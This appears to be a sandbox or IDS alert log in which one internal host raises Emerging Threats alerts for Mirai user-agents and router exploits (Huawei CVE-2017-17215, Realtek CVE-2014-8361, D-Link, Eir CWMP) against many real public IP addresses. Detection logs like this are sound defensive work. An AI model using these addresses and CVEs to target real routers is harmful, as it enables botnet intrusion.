192.168.2.23112.121.165.22941020802027121 10/23/22-17:58:29.892726	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41020	80	192.168.2.23	112.121.165.229
192.168.2.2346.243.76.4733370802846457 10/23/22-17:58:24.014248	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33370	80	192.168.2.23	46.243.76.47
192.168.2.23213.32.69.5654438802846380 10/23/22-17:56:41.505964	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54438	80	192.168.2.23	213.32.69.56
192.168.2.232.17.52.21746952802846457 10/23/22-17:57:07.304161	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46952	80	192.168.2.23	2.17.52.217
192.168.2.235.161.125.25347892802846457 10/23/22-17:57:35.757469	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47892	80	192.168.2.23	5.161.125.253
192.168.2.2388.219.3.10539618802027121 10/23/22-17:57:02.473923	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	39618	80	192.168.2.23	88.219.3.105
192.168.2.2385.10.214.21851998802846457 10/23/22-17:57:00.275551	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51998	80	192.168.2.23	85.10.214.218
192.168.2.23112.196.17.5256560802027121 10/23/22-17:57:52.205788	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	56560	80	192.168.2.23	112.196.17.52
192.168.2.2388.135.39.21053162802027121 10/23/22-17:57:54.816950	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	53162	80	192.168.2.23	88.135.39.210
192.168.2.23112.34.111.12838796802027121 10/23/22-17:56:58.091705	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	38796	80	192.168.2.23	112.34.111.128
192.168.2.2389.161.145.19943544802846457 10/23/22-17:57:55.917898	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43544	80	192.168.2.23	89.161.145.199
192.168.2.2395.156.252.24948290802027121 10/23/22-17:56:55.703449	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48290	80	192.168.2.23	95.156.252.249
192.168.2.23156.255.164.18741856802841623 10/23/22-17:57:28.948733	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41856	80	192.168.2.23	156.255.164.187
192.168.2.2380.78.3.16059672802846380 10/23/22-17:56:39.216972	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59672	80	192.168.2.23	80.78.3.160
192.168.2.23197.27.108.8940834802835222 10/23/22-17:57:40.421683	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40834	80	192.168.2.23	197.27.108.89
192.168.2.2389.189.198.4758450802846457 10/23/22-17:57:43.770300	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58450	80	192.168.2.23	89.189.198.47
192.168.2.2395.100.78.21333312802027121 10/23/22-17:57:45.076992	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	33312	80	192.168.2.23	95.100.78.213
192.168.2.23112.126.102.936288802027121 10/23/22-17:57:10.567170	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	36288	80	192.168.2.23	112.126.102.9
192.168.2.23200.58.114.6134364802846380 10/23/22-17:58:22.758351	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34364	80	192.168.2.23	200.58.114.61
192.168.2.23213.188.204.24160806802846380 10/23/22-17:57:37.868952	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60806	80	192.168.2.23	213.188.204.241
192.168.2.2384.184.229.16852704802846457 10/23/22-17:57:56.399410	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52704	80	192.168.2.23	84.184.229.168
192.168.2.2385.214.72.20360748802846457 10/23/22-17:57:18.317427	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60748	80	192.168.2.23	85.214.72.203
192.168.2.2383.85.134.20941880802846380 10/23/22-17:58:06.271924	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41880	80	192.168.2.23	83.85.134.209
192.168.2.2385.118.202.13657850802846457 10/23/22-17:57:00.301592	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57850	80	192.168.2.23	85.118.202.136
192.168.2.2388.208.46.2448630802027121 10/23/22-17:57:38.601501	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48630	80	192.168.2.23	88.208.46.24
192.168.2.23112.186.243.14137720802027121 10/23/22-17:58:29.874545	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	37720	80	192.168.2.23	112.186.243.141
192.168.2.2346.232.89.21346668802846457 10/23/22-17:58:15.499399	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46668	80	192.168.2.23	46.232.89.213
192.168.2.23195.7.232.4360146802846457 10/23/22-17:58:21.669709	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60146	80	192.168.2.23	195.7.232.43
192.168.2.2361.241.102.12847924802846457 10/23/22-17:57:02.878954	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47924	80	192.168.2.23	61.241.102.128
192.168.2.2389.161.208.8033030802846457 10/23/22-17:58:10.293377	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33030	80	192.168.2.23	89.161.208.80
192.168.2.2388.198.81.11145392802027121 10/23/22-17:58:34.994957	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	45392	80	192.168.2.23	88.198.81.111
192.168.2.2388.99.185.18048222802027121 10/23/22-17:58:29.896573	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48222	80	192.168.2.23	88.99.185.180
192.168.2.2388.216.98.23840924802027121 10/23/22-17:56:53.412111	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	40924	80	192.168.2.23	88.216.98.238
192.168.2.23200.123.238.545042802846380 10/23/22-17:57:30.754544	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45042	80	192.168.2.23	200.123.238.5
192.168.2.235.39.174.19560302802846457 10/23/22-17:56:55.096205	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60302	80	192.168.2.23	5.39.174.195
192.168.2.23171.238.159.19444648802846457 10/23/22-17:56:55.131893	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44648	80	192.168.2.23	171.238.159.194
192.168.2.2395.105.184.24936070802027121 10/23/22-17:57:25.752184	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	36070	80	192.168.2.23	95.105.184.249
192.168.2.2318.203.114.12335412802841623 10/23/22-17:56:48.003722	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35412	80	192.168.2.23	18.203.114.123
192.168.2.2388.208.215.13537378802027121 10/23/22-17:56:51.056799	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	37378	80	192.168.2.23	88.208.215.135
192.168.2.2388.99.172.10056870802027121 10/23/22-17:57:21.048748	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	56870	80	192.168.2.23	88.99.172.100
192.168.2.2395.220.42.21041296802027121 10/23/22-17:58:21.910265	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41296	80	192.168.2.23	95.220.42.210
192.168.2.23122.9.140.21357004802846457 10/23/22-17:57:14.271185	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57004	80	192.168.2.23	122.9.140.213
192.168.2.2382.223.100.17842044802846380 10/23/22-17:57:46.332141	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42044	80	192.168.2.23	82.223.100.178
192.168.2.235.235.250.21135562802846457 10/23/22-17:56:55.184860	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35562	80	192.168.2.23	5.235.250.211
192.168.2.2393.176.161.555027675472023548 10/23/22-17:58:32.220679	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50276	7547	192.168.2.23	93.176.161.55
192.168.2.2395.97.228.2050406802027121 10/23/22-17:57:57.698014	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	50406	80	192.168.2.23	95.97.228.20
192.168.2.232.20.225.5953198802846457 10/23/22-17:57:07.070140	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53198	80	192.168.2.23	2.20.225.59
192.168.2.23188.166.205.3445960802846457 10/23/22-17:58:20.257070	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45960	80	192.168.2.23	188.166.205.34
192.168.2.2385.121.125.18157090802846457 10/23/22-17:57:00.289486	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57090	80	192.168.2.23	85.121.125.181
192.168.2.23156.229.208.19857412802841623 10/23/22-17:57:12.574073	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57412	80	192.168.2.23	156.229.208.198
192.168.2.23181.56.189.19453136802846380 10/23/22-17:58:01.079461	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53136	80	192.168.2.23	181.56.189.194
192.168.2.2382.180.164.14853386802846380 10/23/22-17:58:06.256755	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53386	80	192.168.2.23	82.180.164.148
192.168.2.2318.132.14.16834498802841623 10/23/22-17:58:28.070323	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34498	80	192.168.2.23	18.132.14.168
192.168.2.2393.124.81.2135899675472835222 10/23/22-17:58:21.369314	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58996	7547	192.168.2.23	93.124.81.213
192.168.2.232.19.246.6937664802846457 10/23/22-17:57:03.277028	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37664	80	192.168.2.23	2.19.246.69
192.168.2.2395.179.188.18048038802027121 10/23/22-17:58:24.017151	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48038	80	192.168.2.23	95.179.188.180
192.168.2.2382.66.59.9058862802846380 10/23/22-17:57:07.268963	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58862	80	192.168.2.23	82.66.59.90
192.168.2.23112.121.152.17648986802027121 10/23/22-17:57:28.421617	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48986	80	192.168.2.23	112.121.152.176
192.168.2.2346.255.80.11041464802846457 10/23/22-17:58:15.382045	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41464	80	192.168.2.23	46.255.80.110
192.168.2.23213.143.19.4234100802846380 10/23/22-17:56:49.782645	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34100	80	192.168.2.23	213.143.19.42
192.168.2.23200.26.189.21859532802846380 10/23/22-17:58:09.192519	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59532	80	192.168.2.23	200.26.189.218
192.168.2.2323.27.89.18441918802841623 10/23/22-17:57:20.664517	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41918	80	192.168.2.23	23.27.89.184
192.168.2.2388.99.26.3041148802027121 10/23/22-17:57:52.289831	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41148	80	192.168.2.23	88.99.26.30
192.168.2.23154.92.86.21054124802841623 10/23/22-17:57:44.711261	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54124	80	192.168.2.23	154.92.86.210
192.168.2.2388.129.16.3059434802027121 10/23/22-17:58:02.095359	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	59434	80	192.168.2.23	88.129.16.30
192.168.2.2382.64.71.13854430802846380 10/23/22-17:58:06.167062	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54430	80	192.168.2.23	82.64.71.138
192.168.2.232.17.137.4747052802846457 10/23/22-17:57:07.090557	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47052	80	192.168.2.23	2.17.137.47
192.168.2.2388.221.7.22439098802027121 10/23/22-17:57:54.655484	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	39098	80	192.168.2.23	88.221.7.224
192.168.2.2389.47.197.2750758802846457 10/23/22-17:58:07.981171	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50758	80	192.168.2.23	89.47.197.27
192.168.2.2395.217.188.22041578802027121 10/23/22-17:57:33.447053	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41578	80	192.168.2.23	95.217.188.220
192.168.2.2395.101.242.17936518802027121 10/23/22-17:57:16.265202	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	36518	80	192.168.2.23	95.101.242.179
192.168.2.2388.209.237.10058060802027121 10/23/22-17:57:40.651414	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	58060	80	192.168.2.23	88.209.237.100
192.168.2.2395.204.30.11433854802027121 10/23/22-17:57:54.944174	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	33854	80	192.168.2.23	95.204.30.114
192.168.2.23213.85.225.24345690802846380 10/23/22-17:57:54.138966	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45690	80	192.168.2.23	213.85.225.243
192.168.2.2395.216.173.16454520802027121 10/23/22-17:57:43.887723	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	54520	80	192.168.2.23	95.216.173.164
192.168.2.2380.92.18.23346846802846457 10/23/22-17:56:52.759797	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46846	80	192.168.2.23	80.92.18.233
192.168.2.2395.213.212.12255564802027121 10/23/22-17:56:53.181960	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	55564	80	192.168.2.23	95.213.212.122
192.168.2.2385.214.139.14451614802846457 10/23/22-17:57:16.979802	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51614	80	192.168.2.23	85.214.139.144
192.168.2.23206.82.113.4935862802846380 10/23/22-17:58:36.921850	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35862	80	192.168.2.23	206.82.113.49
192.168.2.2385.214.152.13042676802846457 10/23/22-17:57:16.980121	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42676	80	192.168.2.23	85.214.152.130
192.168.2.2346.22.222.25435020802846457 10/23/22-17:58:23.947115	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35020	80	192.168.2.23	46.22.222.254
192.168.2.2382.65.176.17357190802846380 10/23/22-17:58:06.158919	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57190	80	192.168.2.23	82.65.176.173
192.168.2.2385.182.250.4443018802846457 10/23/22-17:58:17.675581	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43018	80	192.168.2.23	85.182.250.44
192.168.2.2395.160.59.6155138802027121 10/23/22-17:57:31.280934	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	55138	80	192.168.2.23	95.160.59.61
192.168.2.23184.30.226.16533914802841623 10/23/22-17:58:35.989286	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33914	80	192.168.2.23	184.30.226.165
192.168.2.2361.123.26.10852008802846457 10/23/22-17:57:03.031309	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52008	80	192.168.2.23	61.123.26.108
192.168.2.23112.217.203.16246600802027121 10/23/22-17:57:10.416403	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	46600	80	192.168.2.23	112.217.203.162
192.168.2.2395.167.23.1255730802027121 10/23/22-17:57:31.353965	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	55730	80	192.168.2.23	95.167.23.12
192.168.2.2385.164.44.5054342802846457 10/23/22-17:58:17.724388	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54342	80	192.168.2.23	85.164.44.50
192.168.2.23213.239.253.5942700802846380 10/23/22-17:57:37.863396	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42700	80	192.168.2.23	213.239.253.59
192.168.2.2395.101.218.24846982802027121 10/23/22-17:57:45.110477	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	46982	80	192.168.2.23	95.101.218.248
192.168.2.2395.84.196.9649294802027121 10/23/22-17:58:21.906560	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	49294	80	192.168.2.23	95.84.196.96
192.168.2.23206.109.178.14536532802846380 10/23/22-17:57:18.686267	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36532	80	192.168.2.23	206.109.178.145
192.168.2.23178.239.171.20749492802846380 10/23/22-17:58:13.489666	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49492	80	192.168.2.23	178.239.171.207
192.168.2.2337.187.222.7035378802846457 10/23/22-17:57:31.531264	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35378	80	192.168.2.23	37.187.222.70
192.168.2.2395.80.93.16857048802027121 10/23/22-17:57:23.588409	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	57048	80	192.168.2.23	95.80.93.168
192.168.2.23122.114.11.17535594802846457 10/23/22-17:58:34.721796	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35594	80	192.168.2.23	122.114.11.175
192.168.2.2382.219.198.2643082802846380 10/23/22-17:56:39.308865	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43082	80	192.168.2.23	82.219.198.26
192.168.2.2395.143.190.3455920802027121 10/23/22-17:57:13.055323	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	55920	80	192.168.2.23	95.143.190.34
192.168.2.23112.215.157.14548604802027121 10/23/22-17:57:52.063667	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48604	80	192.168.2.23	112.215.157.145
192.168.2.23112.74.229.25358570802027121 10/23/22-17:57:05.100364	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	58570	80	192.168.2.23	112.74.229.253
192.168.2.23213.165.238.6535306802846380 10/23/22-17:57:58.462353	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35306	80	192.168.2.23	213.165.238.65
192.168.2.23164.138.220.3650862802846457 10/23/22-17:58:34.386628	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50862	80	192.168.2.23	164.138.220.36
192.168.2.2318.185.14.12156320802835221 10/23/22-17:56:59.044847	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	56320	80	192.168.2.23	18.185.14.121
192.168.2.23195.52.223.8741530802846457 10/23/22-17:56:43.200335	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41530	80	192.168.2.23	195.52.223.87
192.168.2.2395.90.158.12535632802027121 10/23/22-17:56:53.300379	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	35632	80	192.168.2.23	95.90.158.125
192.168.2.2385.187.250.18139796802846457 10/23/22-17:57:41.232614	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39796	80	192.168.2.23	85.187.250.181
192.168.2.23120.92.21.7239306802835222 10/23/22-17:57:41.496216	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39306	80	192.168.2.23	120.92.21.72
192.168.2.2384.23.57.1943080802846457 10/23/22-17:58:32.966323	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43080	80	192.168.2.23	84.23.57.19
192.168.2.23213.154.237.17937630802846380 10/23/22-17:58:33.198325	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37630	80	192.168.2.23	213.154.237.179
192.168.2.23188.234.248.2642208802846457 10/23/22-17:57:00.290264	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42208	80	192.168.2.23	188.234.248.26
192.168.2.23188.12.80.16456698802846457 10/23/22-17:57:47.843208	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56698	80	192.168.2.23	188.12.80.164
192.168.2.23206.189.125.23639944802846380 10/23/22-17:57:29.327768	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39944	80	192.168.2.23	206.189.125.236
192.168.2.2380.237.252.8960790802846380 10/23/22-17:57:43.250723	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60790	80	192.168.2.23	80.237.252.89
192.168.2.2395.230.44.258844802027121 10/23/22-17:58:17.333711	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	58844	80	192.168.2.23	95.230.44.2
192.168.2.2388.151.99.19552616802027121 10/23/22-17:58:09.667670	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	52616	80	192.168.2.23	88.151.99.195
192.168.2.2382.180.174.21033622802846380 10/23/22-17:57:55.380078	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33622	80	192.168.2.23	82.180.174.210
192.168.2.23206.237.244.17037386802846380 10/23/22-17:58:39.795290	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37386	80	192.168.2.23	206.237.244.170
192.168.2.2345.195.66.8047360600012835222 10/23/22-17:58:16.590535	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47360	60001	192.168.2.23	45.195.66.80
192.168.2.23213.33.159.8649974802846380 10/23/22-17:56:58.220523	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49974	80	192.168.2.23	213.33.159.86
192.168.2.2383.136.68.7054668802846380 10/23/22-17:58:27.227485	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54668	80	192.168.2.23	83.136.68.70
192.168.2.2395.154.87.14959382802027121 10/23/22-17:58:13.003572	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	59382	80	192.168.2.23	95.154.87.149
192.168.2.23211.230.198.2345602475472835222 10/23/22-17:58:21.207012	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56024	7547	192.168.2.23	211.230.198.234
192.168.2.2395.101.95.5336712802027121 10/23/22-17:58:07.322514	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	36712	80	192.168.2.23	95.101.95.53
192.168.2.23169.60.241.2756906802846380 10/23/22-17:57:51.921872	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56906	80	192.168.2.23	169.60.241.27
192.168.2.2388.215.75.18958826802027121 10/23/22-17:57:52.297848	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	58826	80	192.168.2.23	88.215.75.189
192.168.2.2395.220.219.560466802027121 10/23/22-17:56:53.331054	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	60466	80	192.168.2.23	95.220.219.5
192.168.2.2388.148.49.13946250802027121 10/23/22-17:56:55.700368	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	46250	80	192.168.2.23	88.148.49.139
192.168.2.23164.90.174.9746544802846457 10/23/22-17:58:34.368239	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46544	80	192.168.2.23	164.90.174.97
192.168.2.2395.101.48.3759692802027121 10/23/22-17:58:39.900557	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	59692	80	192.168.2.23	95.101.48.37
192.168.2.23206.54.174.7355984802846380 10/23/22-17:57:56.384128	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55984	80	192.168.2.23	206.54.174.73
192.168.2.2389.161.176.11846056802846457 10/23/22-17:58:07.888196	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46056	80	192.168.2.23	89.161.176.118
192.168.2.23122.228.200.11355490528692027339 10/23/22-17:57:13.843759	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55490	52869	192.168.2.23	122.228.200.113
192.168.2.2395.175.123.8452272802027121 10/23/22-17:57:21.047423	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	52272	80	192.168.2.23	95.175.123.84
192.168.2.23178.239.73.2643444802846380 10/23/22-17:57:27.953857	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43444	80	192.168.2.23	178.239.73.26
192.168.2.23112.16.232.5048798802027121 10/23/22-17:57:07.672992	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48798	80	192.168.2.23	112.16.232.50
192.168.2.2395.56.88.15132876802027121 10/23/22-17:57:10.508381	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	32876	80	192.168.2.23	95.56.88.151
192.168.2.2337.61.176.21852240802846457 10/23/22-17:57:07.225214	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52240	80	192.168.2.23	37.61.176.218
192.168.2.2389.252.128.19853072802846457 10/23/22-17:57:41.195924	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53072	80	192.168.2.23	89.252.128.198
192.168.2.2323.247.23.14953492802835222 10/23/22-17:58:09.588805	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53492	80	192.168.2.23	23.247.23.149
192.168.2.23200.143.59.9050554802846380 10/23/22-17:58:22.268112	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50554	80	192.168.2.23	200.143.59.90
192.168.2.23156.234.151.23938852802835221 10/23/22-17:58:29.254030	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	38852	80	192.168.2.23	156.234.151.239
192.168.2.2395.167.133.6146242802027121 10/23/22-17:57:07.985971	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	46242	80	192.168.2.23	95.167.133.61
192.168.2.2388.99.163.16738284802027121 10/23/22-17:56:55.636157	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	38284	80	192.168.2.23	88.99.163.167
192.168.2.2395.79.100.12842722802027121 10/23/22-17:57:10.399522	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42722	80	192.168.2.23	95.79.100.128
192.168.2.232.19.40.24756212802846457 10/23/22-17:57:20.936290	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56212	80	192.168.2.23	2.19.40.247
192.168.2.2384.19.116.20152724802846457 10/23/22-17:58:32.924272	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52724	80	192.168.2.23	84.19.116.201
192.168.2.235.9.254.20146138802846457 10/23/22-17:57:35.597658	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46138	80	192.168.2.23	5.9.254.201
192.168.2.2395.233.150.21146914802027121 10/23/22-17:58:15.336128	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	46914	80	192.168.2.23	95.233.150.211
192.168.2.23122.226.189.7956512528692027339 10/23/22-17:58:20.081753	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56512	52869	192.168.2.23	122.226.189.79
192.168.2.23178.73.253.21847716802846380 10/23/22-17:58:27.264197	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47716	80	192.168.2.23	178.73.253.218
192.168.2.232.23.137.18941384802846457 10/23/22-17:57:28.774429	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41384	80	192.168.2.23	2.23.137.189
192.168.2.2395.169.220.5645852802027121 10/23/22-17:58:21.906116	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	45852	80	192.168.2.23	95.169.220.56
192.168.2.23171.236.63.23657642802846457 10/23/22-17:58:39.917870	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57642	80	192.168.2.23	171.236.63.236
